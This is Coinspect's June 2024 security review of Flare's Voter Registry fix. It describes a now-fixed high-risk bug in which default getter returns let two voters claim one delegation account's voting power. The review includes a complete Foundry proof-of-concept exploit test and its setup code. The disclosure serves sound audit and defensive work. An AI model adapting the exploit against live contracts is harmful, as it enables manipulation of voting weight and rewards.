



Flare
Security Review
Voter Registry Fix



Voter Registry Fix Smart Contract Security Review

Version: v240603

Prepared for: Flare

June 2024

Security Assessment



1. Executive Summary
2. Summary of Findings
 - 2.3 Solved issues & recommendations
3. Scope
4. Assessment
 - 4.1 Fix review
 - 4.2 Consumers of the Entity Manager
 - 4.3 Additional recommendations
5. Detailed Findings

FSC-19 - Attackers can register as voters twice using the voting power of the same account

6. Disclaimer

1. Executive Summary

In May 2024, Flare engaged Coinspect to review a fix for a vulnerability in a contract in the Smart Contracts v2 repositories. The objective of the project was to evaluate the effectiveness of the fix for a faulty interaction between the protocol's Entity Manager and Voter Registry.

|  Solved |  Caution Advised |  Resolution Pending |
|---|--|---|
| High 1 | High 0 | High 0 |
| Medium 0 | Medium 0 | Medium 0 |
| Low 0 | Low 0 | Low 0 |
| No Risk 0 | No Risk 0 | No Risk 0 |
| Total 1 | Total 0 | Total 0 |

2. Summary of Findings

2.3 Solved issues & recommendations

This section outlines issues that have been fully resolved and offers recommendations aimed at enhancing the project's long-term security.

| Id | Title | Risk |
|--------|---|------|
| FSC-19 | Attackers can register as voters twice using the voting power of the same account | High |

3. Scope

The scope was limited to the `Flare_Smart_Contracts_V2` repository, branch `voter_registry_fix` at commit `3d0b301cbd689fb97217fa1d821e7dcd7a491727`.

4. Assessment

This report's objective is to analyze an issue identified by the Flare Team when calculating rewards distribution on Flare's Coston Testnet, and to confirm the effectiveness of the proposed fix.

This issue allowed attackers to register two different accounts as voters in the Voter Registry, while counting the voting power of the same entity. As a consequence, voting power was effectively doubled.

4.1 Fix review

The proposed remediation adds checks to the Voter Registry to stop execution if the Entity Manager return value matches the passed parameter. This change effectively stops the identified exploit. Although modifying the Entity Manager would be the definitive solution, the Flare Team opted for this more straightforward approach that still provides adequate protection.

After developing a working proof-of-concept exploit for the vulnerability being analyzed (see FSC-19 below), Coinspect concluded the proposed fix stops the identified exploit.

4.2 Consumers of the Entity Manager

Coinspect confirmed that the proposed fix protects against the specific issue described on this report. However, it is imperative to consider that since the Entity Manager itself will not be fixed, and its getters still return default addresses, new implementations consuming its data could be vulnerable to the same pattern and should always check that:

- no calls land in the default-branch of the getters that return the functions parameters.
- all entities to query should have been set previously to an address different from the delegation address (or any other address type that adversaries could make it appear as duplicate).

Coinspect team reviewed the following Entity Manager getters checking their consumers:

1. getDelegationAddressOfAt()

- FlareSystemsCalculator.calculateRegistrationWeight():

This function is permissioned and can only be called by the Voter Registry. The fix adds checks before making the call in the context of the Voter Registry contract. However, it should be considered that in the event of changing the FlareSystemsCalculator permissions structure or implementation, functions relying on direct calls to the Entity Manager could turn exploitable:

```
require(entityManager.getDelegationAddressOfAt(_voter,
votePowerBlock) != _voter,
"delegation address not set");
```

2. getDelegationAddressOf()

No calls are made to this function within the system. However, future implementations relying on this function will need to check for non-default scenarios.

3. getVoterAddressesAt()

- VoterRegistry._getRegistrationData():

This internal function is called at the beginning of the registration process. The fix adds checks to ensure that no default behavior from the Entity Manager is triggered:

```
require(_voterAddresses.signingPolicyAddress != _voter, "signing
policy address not set");
require(_voterAddresses.submitAddress != _voter, "submit address
not set");
require(_voterAddresses.submitSignaturesAddress != _voter, "submit
signatures address not set");
```

4. getVoterAddresses()

No calls are made to this function within the system. However, future implementations relying on this function will need to check for non-default scenarios.

5. `getDelegationAddresses()`

- `VoterRegistry.getRegisteredDelegationAddresses()`:

This external view function returns all the delegation addresses for the registered voters. No checks were added as part of the fixes. This function consumes from the already registered voters in storage to retrieve their delegation addresses. Since the registration process was patched, no duplicates could exist. Additionally, no calls are made to this function within the system.

6. `getSubmitAddresses()`

- `VoterRegistry.getRegisteredSubmitAddresses()`:

Same analysis as 5.

7. `getSubmitSignaturesAddresses()`

- `VoterRegistry.getRegisteredSubmitSignaturesAddresses()`:

Same analysis as 5.

8. `getSigningPolicyAddresses()`

- `VoterRegistry.getRegisteredSigningPolicyAddresses()`:

Same analysis as 5.

- `VoterRegistry.createSigningPolicySnapshot()`:

This function is called once per epoch by the System Manager to get the registered voters and their weights. The query to the Entity Manager is made using the voters from the contract's storage. Since the voter registration process was fixed, no duplicates could exist.

9. getPublicKeys()

- `VoterRegistry.getRegisteredPublicKeys()`:

Same analysis as 5.

- `VoterRegistry.createSigningPolicySnapshot()`:

Same analysis as 8 with the additional caveat that the registration process checks for non-zero public key parts.

10. getVoterForDelegationAddress()

No calls are made to this function within the system. However, future implementations relying on this function will need to check for non-default scenarios.

11. getVoterForSubmitAddress()

No calls are made to this function within the system. However, future implementations relying on this function will need to check for non-default scenarios.

12. getVoterForSubmitSignaturesAddress()

No calls are made to this function within the system. However, future implementations relying on this function will need to check for non-default scenarios.

13. getVoterForSigningPolicyAddress()

- `VoterRegistry.getVoterWithNormalisedWeight()` and `VoterRegistry.getPublicKeyAndNormalisedWeight()`:

These external view functions are consulted from other sources to retrieve the voter along with its data (keys, address, weight, etc). The fix proposed by Flare prevents getting default results from the Entity Manager (this is also checked upon voter registration):

```
require(voter != _signingPolicyAddress, "invalid signing policy address");
```


4.3 Additional recommendations

Coinspect strongly recommends that integration tests are developed for every critical contract before deployment. It is important to rely as little as possible on mock calls and mock contracts in the testing framework. This would increase the likelihood of finding vulnerabilities that depend on the interaction between different components during the development phase.

5. Detailed Findings

FSC-19

Attackers can register as voters twice using the voting power of the same account

| | |
|---|---|
| Status Solved | Risk High |
|  |  |
| Resolution Fixed | Impact High Likelihood High |

Location

```
contracts/protocol/implementation/VoterRegistry.sol  
contracts/protocol/implementation/EntityManager.sol  
contracts/protocol/implementation/FlareSystemsCalculator.sol
```

Description

Attackers can abuse a bug in Entity Manager to exploit the voter registration process by registering two different voters that use the same delegation address'

voting power.

The Entity Manager has multiple getters for each registered address. The registration mechanism is based on a propose-accept process where an account proposes a delegation address and then, that delegation address confirms the voter:

```
/**
 * @inheritdoc IEntityManager
 */
function proposeDelegationAddress(address _delegationAddress)
external {

require(delegationAddressRegistered[_delegationAddress].addressAtNow()
== address(0),
    "delegation address already registered");
    delegationAddressRegistrationQueue[msg.sender] =
_delegationAddress;
    emit DelegationAddressProposed(msg.sender, _delegationAddress);
}

/**
 * @inheritdoc IEntityManager
 */
function confirmDelegationAddressRegistration(address _voter)
external {
    require(delegationAddressRegistered[msg.sender].addressAtNow()
== address(0),
    "delegation address already registered");
    require(delegationAddressRegistrationQueue[_voter] ==
msg.sender,
    "delegation address not in registration queue");
    address oldDelegationAddress =
register[_voter].delegationAddress.addressAtNow();
    if (oldDelegationAddress != address(0)) {

delegationAddressRegistered[oldDelegationAddress].setAddress(address(0)
);
    }
    register[_voter].delegationAddress.setAddress(msg.sender);
    delegationAddressRegistered[msg.sender].setAddress(_voter);
    delete delegationAddressRegistrationQueue[_voter];
    emit DelegationAddressRegistrationConfirmed(_voter,
msg.sender);
}
```

Then, a delegation address is queried using `getDelegationAddressOfAt()`:

```
function getDelegationAddressOfAt(
    address _voter,
    uint256 _blockNumber
)
external view
returns(address _delegationAddress)
{
    _delegationAddress =
```

```

register[_voter].delegationAddress.addressAt(_blockNumber);
    if (_delegationAddress == address(0)) {
        _delegationAddress = _voter;
    }
}

```

The first part of this issue relies on the fact that the getter returns `_delegationAddress` as the function's call parameter, `_voter`, when no registries for that `_voter` are found in the `register` mapping. This means that an external source could receive the same return for two different calls:

- `getDelegationAddressOfAt(_VoterThatRegisteredSomeDelegationAddress, someBlock) ==> _registeredDelegationAddress` (non-default path, storage found)
- `getDelegationAddressOfAt(_registeredDelegationAddress, someBlock) ==> _registeredDelegationAddress` (default path, storage not found)

Other getters from the Entity Manager have this same default behavior.

Moreover, since the `VoterRegistry` calculates the voting power of the delegation account upon registration, it means that two different accounts could register themselves as voters using the same voting power:

```

function _registerVoter(
    address _voter,
    uint24 _rewardEpochId,
    IEntityManager.VoterAddresses memory _voterAddresses
)
    internal
{
    (uint256 votePowerBlock, bool enabled) =
flareSystemsManager.getVoterRegistrationData(_rewardEpochId);
    require(votePowerBlock != 0, "vote power block zero");
    require(enabled, "voter registration not enabled");
    uint256 weight =
flareSystemsCalculator.calculateRegistrationWeight(_voter,
_rewardEpochId, votePowerBlock);
    require(weight > 0, "voter weight zero");

    {...}
}

```

In `flareSystemsCalculator.calculateRegistrationWeight()`:

```

    address delegationAddress =
entityManager.getDelegationAddressOfAt(_voter, _votePowerBlockNumber);
    if (_rewardEpochId >=
voterRegistry.chilledUntilRewardEpochId(bytes20(delegationAddress))) {
        uint256 totalWNatVotePower =
wNat.totalVotePowerAt(_votePowerBlockNumber);
        uint256 wNatWeightCap = (totalWNatVotePower * wNatCapPPM) /
PPM_MAX; // no overflow possible

```

```
        wNatWeight = wNat.votePowerOfAt(delegationAddress,
        _votePowerBlockNumber);
        wNatCappedWeight = Math.min(wNatWeightCap, wNatWeight);
        _registrationWeight += wNatCappedWeight;
    }
```

Imagine that an attacker controls two accounts: `delegationAccountA` (holds voting power), `voterA`. Then, using `voterA` proposes `delegationAccountA` in the Entity Manager and confirms this using `delegationAccountA`. Afterwards, registers both `delegationAccountA` and `voterA` as voters in the context of the `VoterRegistry`. Since both accounts are different, all checks that verify whether the voter was registered pass. However, when calculating the voting power in the systems calculator upon voter registration the following happens:

Registration of `voterA` as voter:

- address `delegationAddress` =
`entityManager.getDelegationAddressOfAt(voterA, _votePowerBlockNumber)`
=> `delegationAccountA` (query returning registered value)

Registration of `delegationAccountA` as voter:

- address `delegationAddress` =
`entityManager.getDelegationAddressOfAt(delegationAccountA,`
`_votePowerBlockNumber)` => `delegationAccountA` (query returning default value,
call parameter, storage not found)

Through this process, attackers are able to register two different voters consuming the voting power of a single account.

Recommendation

Remove the default returns from all the view methods in the Entity Manager. Alternatively, add checks in the voter registration and voting power querying mechanisms to disable default returns from the Entity Manager.

Status

Fixed on commit `f48380c3fc3c7e4cc68568806ba154f5faaf830d` of the `voter_registry_fix` branch.

Checks to ensure that the `VoterRegistry` does not rely on the default returns of the Entity Manager were added, for example:


```
require(entityManager.getDelegationAddressOfAt(_voter,
votePowerBlock) != _voter,
"delegation address not set");
```

Through these checks, the system forces voters to set a specific delegation address different from themselves to prevent default-behavior.

Proof of Concept

The following test shows how two different voters are able to get the voting power of the same entity (delegation address). This is done by abusing the default behavior of the `EntityManager` that returns the call's parameter when no registries are found in its relevant mapping. This allows a `voterA` and the `delegationAccount` to be independent voters getting the same voting power of the `delegationAccount`.

The test was made in foundry, deploying instances of the Entity Manager, Voter Registry and System Calculator. Non relevant calls are mocked.

First, the `voterA` sets in the Entity Manager the `delegationAccount` as their delegation address. Then, both the `delegationAccount` and `voterA` register themselves as voters. For the first account, it enters in default behavior of the Entity Manager returning the same address. For the last account, `voterA`, the delegation address is returned since the `delegationAccount` was set. Through this process, both users are able to register themselves as voters consuming the voting power from the same account.

Run this script at the project's commit `326e265f31f3c88ca4b01a1e16e71921be28650a`, before the fix was made. Coinspect re-ran this proof of concept in the fix branch and it reverts, showing that adversaries cannot register two voters pointing to the same delegation address after the fix was made.

```
function testCoinspectVWIssue() public {
    // Global task: register two voters pointing to the same
    delegation address
    (address voterA, uint256 pkA) = makeAddrAndKey("voterA");
    (address delegationAddress, uint256 pkD) =
makeAddrAndKey("delegation"); // would act also as a voter

    // Point both voters to the same delegation
    vm.prank(voterA);
    entityManager.proposeDelegationAddress(delegationAddress);

    vm.prank(delegationAddress);
    entityManager.confirmDelegationAddressRegistration(voterA);
```

```

    assertEquals(entityManager.getDelegationAddressOfAt(voterA,
block.number), delegationAddress);

    // Simulate voter addresses (relevant just for signature
validation)
    // Last parameter should match with voter address
    _mockGetVoterAddressesAt(
        voterA,
        IEntityManager.VoterAddresses(
            makeAddr(string.concat("submitAddress1")),
makeAddr(string.concat("submitSignaturesAddress1")), voterA
        )
    );

    _mockGetVoterAddressesAt(
        delegationAddress,
        IEntityManager.VoterAddresses(
            makeAddr(string.concat("submitAddress2")),
            makeAddr(string.concat("submitSignaturesAddress2")),
            delegationAddress
        )
    );

    // Move to block 10
    vm.roll(10);

    uint24 rewardEpochId = 0;
    uint256 votePowerBlockNumber = block.number;

epoch
    // Simulate that the vote power block is enabled and current
    _mockGetVoterRegistrationData(votePowerBlockNumber, true);
    _mockGetCurrentEpochId(0);

    // Simulate that no nodeIds are registered for any account
    bytes20[] memory _nodeIds = new bytes20[](0);
    _mockGetNodeIdsAt(voterA, votePowerBlockNumber, _nodeIds);
    _mockGetNodeIdsAt(delegationAddress, votePowerBlockNumber,
_nodeIds);

    IEntityManager calcEntManager = calculator.entityManager();
    calcEntManager.getNodeIdsOfAt(voterA, votePowerBlockNumber);

    // Simulate that no account is chilled
    _mockChilledUntilRewardEpochId(bytes20(delegationAddress), 0);

    // Simulate totalVotePower and delegation voting power
    _mockWnatVotePowerAt(votePowerBlockNumber);
    _mockVotePowerOfAt(delegationAddress, votePowerBlockNumber);

    // Simulate delegation fee
    _mockWnatDelegationFee(voterA, rewardEpochId + 1);
    _mockWnatDelegationFee(delegationAddress, rewardEpochId + 1);

    // Simulate that public keys are registered for both voters
    _mockGetPublicKeyOfAt(voterA, "voter", "A");
    _mockGetPublicKeyOfAt(delegationAddress, "delegation",
"Address");

    // Simulate that the system manager allows 2 voters

```

```

        _mockSigningPolicyMinNumberOfVoters(2);

        vm.prank(governance);
        voterRegistry.setMaxVoters(2);
        vm.prank(mockFlareSystemsManager);

    voterRegistry.setNewSigningPolicyInitializationStartBlockNumber(1);

    // Get the registration weight value calculated for the
    delegation address
    vm.prank(address(voterRegistry));
    uint256 calcVotingWeightForDelegationAddr =
        calculator.calculateRegistrationWeight(delegationAddress,
        rewardEpochId + 1, votePowerBlockNumber);

    IVoterRegistry.Signature memory signature;
    signature = _createSigningPolicyAddressSignature(voterA, pkA,
    rewardEpochId + 1);
    vm.expectEmit();
    emit VoterRegistered(
        voterA,
        rewardEpochId + 1,
        voterA,
        makeAddr(string.concat("submitAddress1")),
        makeAddr(string.concat("submitSignaturesAddress1")),
        keccak256(abi.encode("voter")),
        keccak256(abi.encode("A")),
        calcVotingWeightForDelegationAddr
    );
    voterRegistry.registerVoter(voterA, signature);

    signature =
    _createSigningPolicyAddressSignature(delegationAddress, pkD,
    rewardEpochId + 1);
    vm.expectEmit();
    emit VoterRegistered(
        delegationAddress,
        rewardEpochId + 1,
        delegationAddress,
        makeAddr(string.concat("submitAddress2")),
        makeAddr(string.concat("submitSignaturesAddress2")),
        keccak256(abi.encode("delegation")),
        keccak256(abi.encode("Address")),
        calcVotingWeightForDelegationAddr
    );
    voterRegistry.registerVoter(delegationAddress, signature);
}

```

Test environment setup

The test function should be placed in the following contract located at `test-forge/unit/protocol/implementation/`:

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import
"../../../../contracts/protocol/implementation/VoterRegistry.sol";
import
"../../../../contracts/protocol/implementation/EntityManager.sol";
import
"../../../../contracts/protocol/implementation/FlareSystemsCalculator.s
ol";

import "../../../../mock/MockNodePossessionVerification.sol";
import "../../../../mock/MockPublicKeyVerification.sol";

contract RegistrationIssueTest is Test {
    EntityManager private entityManager;
    VoterRegistry private voterRegistry;
    FlareSystemsCalculator private calculator;

    address private addressUpdater;

    address private governance;
    address private governanceSettings;

    MockPublicKeyVerification private mockPublicKeyVerification;
    address private mockFlareSystemsManager;
    address private mockFlareSystemsCalculator;

    address[] private initialVoters;
    uint256[] private initialVotersSigningPolicyPk; // private keys
    uint16[] private initialNormWeights;
    bytes32[] private contractNameHashes;
    address[] private contractAddresses;
    address[] private initialDelegationAddresses;
    address[] private initialSubmitAddresses;
    address[] private initialSubmitSignaturesAddresses;
    address[] private initialSigningPolicyAddresses;
    bytes32[] private initialPublicKeyParts1;
    bytes32[] private initialPublicKeyParts2;
    bytes20[][] private initialNodeIds;
    IEntityManager.VoterAddresses[] private
initialVotersRegisteredAddresses;
    uint256[] private initialVotersWeights;
    uint256 private pChainTotalVP;
    uint256 private cChainTotalVP;
    uint256 private wNatTotalVP;

    uint256 private constant UINT16_MAX = type(uint16).max;

    uint24 internal constant WNAT_CAP = 10000;
    uint256 internal constant TOTAL_WNAT_VOTE_POWER = 1e7;
    uint16 internal constant DELEGATION_FEE_BIPS = 15;
    uint256 internal constant WNAT_WEIGHT = 2e5;

    event VoterRegistered(
        address indexed voter,
        uint24 indexed rewardEpochId,
        address indexed signingPolicyAddress,

```

```

        address submitAddress,
        address submitSignaturesAddress,
        bytes32 publicKeyPart1,
        bytes32 publicKeyPart2,
        uint256 registrationWeight
    );

    function setUp() public {
        governance = makeAddr("governance");
        governanceSettings = makeAddr("governanceSettings");
        addressUpdater = makeAddr("addressUpdater");

        entityManager = new
EntityManager(IGovernanceSettings(governanceSettings), governance, 4);
        mockPublicKeyVerification = new MockPublicKeyVerification();
        vm.prank(governance);
        entityManager.setPublicKeyVerifier(mockPublicKeyVerification);

        vm.prank(governance);

        entityManager.setNodePossessionVerifier(IINodePossessionVerifier(makeAddr("nodePossessionVerifier")));
        vm.mockCall(
            makeAddr("nodePossessionVerifier"),

abi.encodeWithSelector(IINodePossessionVerifier.verifyNodePossession.selector),
            abi.encode()
        );

        // Voter Registry deployment
        _createInitialVoters(2);

        voterRegistry = new VoterRegistry(
            IGovernanceSettings(governanceSettings), governance,
            addressUpdater, 4, 0, initialVoters, initialNormWeights
        );

        calculator = new FlareSystemsCalculator(
            IGovernanceSettings(governanceSettings), governance,
            addressUpdater, WNAT_CAP, 20 * 60, 600, 600
        );

        //// update contract addresses
        mockFlareSystemsManager = makeAddr("flareSystemsManager");
        mockFlareSystemsCalculator =
makeAddr("flareSystemsCalculator");
        vm.startPrank(addressUpdater);
        contractNameHashes = new bytes32[](4);
        contractAddresses = new address[](4);
        contractNameHashes[0] = _keccak256AbiEncode("AddressUpdater");
        contractNameHashes[1] =
_keccak256AbiEncode("FlareSystemsManager");
        contractNameHashes[2] = _keccak256AbiEncode("EntityManager");
        contractNameHashes[3] =
_keccak256AbiEncode("FlareSystemsCalculator");
        contractAddresses[0] = addressUpdater;
        contractAddresses[1] = mockFlareSystemsManager;
        contractAddresses[2] = address(entityManager);
        contractAddresses[3] = address(calculator);
    }

```

```

        voterRegistry.updateContractAddresses(contractNameHashes,
contractAddresses);
        vm.stopPrank();

        bytes32[] memory contractNameHashesCalc = new bytes32[](6);
        contractNameHashesCalc[0] =
_keccak256AbiEncode("EntityManager");
        contractNameHashesCalc[1] =
_keccak256AbiEncode("WNatDelegationFee");
        contractNameHashesCalc[2] =
_keccak256AbiEncode("VoterRegistry");
        contractNameHashesCalc[3] = _keccak256AbiEncode("WNat");
        contractNameHashesCalc[4] =
_keccak256AbiEncode("AddressUpdater");
        contractNameHashesCalc[5] =
_keccak256AbiEncode("FlareSystemsManager");

        address[] memory contractAddressesCalc = new address[](6);
        contractAddressesCalc[0] = address(entityManager);
        contractAddressesCalc[1] = makeAddr("WNatDelegationFee");
        contractAddressesCalc[2] = address(voterRegistry);
        contractAddressesCalc[3] = makeAddr("WNat");
        contractAddressesCalc[4] = addressUpdater;
        contractAddressesCalc[5] = makeAddr("FlareSystemsManager");

        vm.prank(addressUpdater);
        calculator.updateContractAddresses(contractNameHashesCalc,
contractAddressesCalc);
    }

    function testCoinspectVWIssue() public {
        // Global task: register two voters pointing to the same
delegation address
    }

    function _createInitialVoters(uint256 _num) internal {
        for (uint256 i = 0; i < _num; i++) {
            initialVoters.push(makeAddr(string.concat("initialVoter",
vm.toString(i))));
            initialNormWeights.push(uint16(UINT16_MAX / _num));

            initialDelegationAddresses.push(makeAddr(string.concat("delegationAddre
ss", vm.toString(i))));

            initialSubmitAddresses.push(makeAddr(string.concat("submitAddress",
vm.toString(i))));

            initialSubmitSignaturesAddresses.push(makeAddr(string.concat("submitSig
naturesAddress", vm.toString(i))));

            (address addr, uint256 pk) =
makeAddrAndKey(string.concat("signingPolicyAddress", vm.toString(i)));
            initialSigningPolicyAddresses.push(addr);
            initialVotersSigningPolicyPk.push(pk);

            // registered addresses
            initialVotersRegisteredAddresses.push(
                IEntityManager.VoterAddresses(
                    initialSubmitAddresses[i],

```

```

initialSubmitSignaturesAddresses[i], initialSigningPolicyAddresses[i]
    )
    );

    // weights
    initialVotersWeights.push(100 * (i + 1));

    // public keys
    if (i == 0) {

initialPublicKeyParts1.push(keccak256(abi.encode("publicKey1")));
initialPublicKeyParts2.push(keccak256(abi.encode("publicKey2")));
    } else {
        initialPublicKeyParts1.push(bytes32(0));
        initialPublicKeyParts2.push(bytes32(0));
    }

    initialNodeIds.push(new bytes20[](i));
    for (uint256 j = 0; j < i; j++) {
        initialNodeIds[i][j] =
bytes20(bytes(string.concat("nodeId", vm.toString(i),
vm.toString(j))));
    }
    }

    function _keccak256AbiEncode(string memory _value) internal pure
returns (bytes32) {
    return keccak256(abi.encode(_value));
}

    function _mockGetCurrentEpochId(uint256 _epochId) internal {
        vm.mockCall(
            mockFlareSystemsManager,

abi.encodeWithSelector(IFlareSystemsManager.getCurrentRewardEpochId.selector),
            abi.encode(_epochId)
        );
    }

    function _mockGetVoterRegistrationData(uint256 _vpBlock, bool
_enabled) internal {
        vm.mockCall(
            mockFlareSystemsManager,

abi.encodeWithSelector(IFlareSystemsManager.getVoterRegistrationData.selector),
            abi.encode(_vpBlock, _enabled)
        );
    }

    function _mockSigningPolicyMinNumberOfVoters(uint256
_signingPolicyMinNumberOfVoters) internal {
        vm.mockCall(
            mockFlareSystemsManager,

abi.encodeWithSelector(IIFlareSystemsManager.signingPolicyMinNumberOfVoters.selector),

```

```

        abi.encode(_signingPolicyMinNumberOfVoters)
    );
}

function _mockChilledUntilRewardEpochId(bytes20 _delegationAddress,
uint256 until) internal {
    vm.mockCall(
        address(calculator.voterRegistry()),

abi.encodeWithSelector(IVoterRegistry.chilledUntilRewardEpochId.selector,
bytes20(_delegationAddress)),
        abi.encode(until)
    );
}

function _mockWnatVotePowerAt(uint256 _block) internal {
    vm.mockCall(
        address(calculator.wNat()),

abi.encodeWithSelector(bytes4(keccak256("totalVotePowerAt(uint256)")),
_block),
        abi.encode(TOTAL_WNAT_VOTE_POWER)
    );
}

function _mockWnatDelegationFee(address voter, uint256
rewardEpochId) internal {
    vm.mockCall(
        address(calculator.wNatDelegationFee()),

abi.encodeWithSelector(IWnatDelegationFee.getVoterFeePercentage.selector,
voter, rewardEpochId),
        abi.encode(DELEGATION_FEE_BIPS)
    );
}

function _mockGetPublicKeyOfAt(address _voter, string memory
_part1, string memory _part2) internal {
    vm.mockCall(
        address(entityManager),

abi.encodeWithSelector(IEntityManager.getPublicKeyOfAt.selector,
_voter),
        abi.encode(keccak256(abi.encode(_part1)),
keccak256(abi.encode(_part2)))
    );
}

function _mockGetVoterAddressesAt(address voter,
IEntityManager.VoterAddresses memory voterAddresses) internal {
    for (uint256 i = 0; i < initialVoters.length; i++) {
        vm.mockCall(
            address(entityManager),

abi.encodeWithSelector(IEntityManager.getVoterAddressesAt.selector,
voter),
            abi.encode(voterAddresses)
        );
    }
}

```



```

    function _mockGetNodeIdsAt(address voter, uint256
_votePowerBlockNumber, bytes20[] memory _nodeIds) internal {
        vm.mockCall(
            address(calculator.entityManager()),

abi.encodeWithSelector(IEntityManager.getNodeIdsOfAt.selector, voter,
_votePowerBlockNumber),
            abi.encode(_nodeIds)
        );
    }

    function _mockVotePowerOfAt(address voter, uint256 votePowerBlock)
internal {
        vm.mockCall(
            address(calculator.wNat()),

abi.encodeWithSelector(bytes4(keccak256("votePowerOfAt(address,uint256)
")), voter, votePowerBlock),
            abi.encode(WNAT_WEIGHT)
        );
    }

    function _createSigningPolicyAddressSignature(address voter,
uint256 pk, uint256 _nextRewardEpochId)
    internal
    returns (IVoterRegistry.Signature memory _signature)
    {
        bytes32 messageHash = keccak256(abi.encode(_nextRewardEpochId,
voter));
        bytes32 signedMessageHash =
MessageHashUtils.toEthSignedMessageHash(messageHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk,
signedMessageHash);
        _signature = IVoterRegistry.Signature(v, r, s);
    }
}

```

6. Disclaimer

The information presented in this document is provided "as is" and without warranty. The present security audit does not cover out of scope systems, nor the general operational security of the organization that developed the code.